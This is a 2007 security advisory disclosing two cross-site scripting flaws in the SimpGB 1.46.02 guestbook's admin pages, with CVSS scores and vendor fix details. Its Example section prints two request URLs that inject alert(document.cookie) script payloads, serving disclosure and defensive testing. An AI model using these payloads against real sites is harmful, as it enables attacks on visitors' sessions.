netVigilance Security Advisory #67
SimpGB version 1.46.02 Multiple XSS Attack Vulnerabilities
Description:
SimpGB is a guestbook with data stored in MySQL, administration interface and
support for multiple languages. Features: Data stored in MySQL, Administration
interface, Support for multiple languages, Support for multiple instances in
one database, Support for multiple layouts, Own header/footer can be defined,
Support of BBCode and smilies, Admin can decide which BBCode tags to enable,
Avatars (with option to let users upload their own), Admin can decide which
input fields to display and which of them are required, Admins can write
comments on posts, Admins can mark entry as "always on top", Admins can attach
file to entry, flood protection, IP banlist, bad word list, send email
notification upon new posts, optionally validate new posts before they get
visible by public, own leadtext for entry form and own "Thank you" message can
be defined, Option to mark posts as private (only admins can see them), search
entries, Option to let users send emails out of guestbook.
External References:
Mitre CVE: ID requested but no answer received
NVD NIST: ID requested but no answer received
OSVDB: ID requested but no answer received
BUGTRAQ/BID:
Summary:
SimpGB is a guestbook with data stored in MySQL, administration interface and
support for multiple languages.
Security problem in the product allows attackers to conduct XSS attacks.
Advisory URL:
http://www.netvigilance.com/advisory0067
Release Date:
09/25/2007
CVSS Version 2 Metrics:
Base Metrics:
Exploitability Metrics:
Access Vector:
Network
Access Complexity:
Low
Authentication:
None
Impact Metrics:
Confidentiality Impact:
Partial
Integrity Impact:
Partial
Availability Impact:
Partial
Temporal Metrics:
Exploitability:
Functional
Remediation Level:
Official Fix
Report Confidence:
Confirmed
CVSS Version 2 Vectors:
Base Vector:
"AV:N/AC:L/Au:N/C:P/I:P/A:P"
Temporal Vector:
"E:F/RL:OF/RC:C"
CVSS Version 2 Scores:
Base Score:
7.5
Impact Subscore:
6.4
Exploitability Subscore:
10
Temporal Score:
6.2
SecureScout Testcase ID:
TC 17986
Vulnerable Systems:
SimpGB version 1.46.02
Vulnerability Type:
XSS (Cross-Site Scripting) to force a web-site to display malicious contents to
the target, by sending a specially crafted request to the web-site. The
vulnerable web-site is not the target of attack but is used as a tool for the
hacker in the attack of the victim.
Vendor:
Bosch IT-Consulting
Vendor Status:
The Vendor has confirmed the problem and has release new version 1.47 that
addresses the problem. New version of product was tested and we can confirm
that all vulnerabilities were solved. For more information see vendor
announcement. To download the latest version go to vendors product download
area.
Workaround:
Example:
XSS Attack Vulnerability 1:
REQUEST:
http://[TARGET]/[PRODUCT
DIRECTORY]/admin/?no_rgcheck=true&lang=1&l_username=</td><script>alert(document.cookies)</script><td>
REPLY:
Will execute <script>alert(document.cookie)</script>
XSS Attack Vulnerability 2:
REQUEST:
http://[TARGET]/[PRODUCT
DIRECTORY]/admin/emoticonlist.php?lang=1&l_emoticonlist=</title><script>alert(document.cookies)</script>
REPLY:
Will execute =<script>alert(document.cookie)</script>
Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com
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